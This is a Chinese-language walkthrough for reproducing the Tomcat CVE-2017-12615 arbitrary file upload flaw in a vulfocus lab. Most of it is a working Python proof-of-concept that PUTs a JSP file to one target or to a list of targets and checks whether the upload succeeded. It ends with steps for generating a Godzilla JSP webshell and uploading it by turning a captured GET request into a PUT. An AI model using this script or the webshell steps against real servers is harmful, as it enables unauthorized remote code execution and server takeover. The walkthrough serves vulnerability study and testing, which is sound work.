tomcat 文件上传 (CVE-2017-12615)

漏洞描述：

当 Tomcat 运行在 Windows 主机上，且启用了 HTTP PUT 请求方法

影响范围：

Apache Tomcat 7.0.0 - 7.0.79

漏洞复现：

创建vulfocus靶场容器

poc

复制代码

#CVE-2017-12615 POC
import requests
import optparse
import os

parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')

options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:
        print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
        exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

filename = '/hello.jsp'

#测试数据
data = 'hello'

#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)

#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):
  try:
    response = requests.put(url+filename+'/',data=data)
    return 1
  except Exception as e:
    print("[-] {0} 连接失败".format(url))
    return 0
def checking(url):
  try:
    #验证文件是否上传成功
    response = requests.get(url+filename)
    #print(url+filename)
    if response.status_code == 200 and 'hello' in response.text:
      print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    else:
      print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
  except Exception as e:
                #print(e)
    print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):
  with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
      url = str(url).replace('\n', '').replace('\r', '').strip()
      if upload(url) == 1:
        checking(url)
elif options.FILE and not os.path.exists(options.FILE):
  print('[-] {0} 文件不存在'.format(options.FILE))
else:
  #上传链接
  url = options.URL+':'+options.PORT
  if upload(url) == 1:
    checking(url)

显示存在漏洞

使用哥斯拉创建jsp的webshell

访问网页，抓取流量包

将原本的get请求更改成put请求格式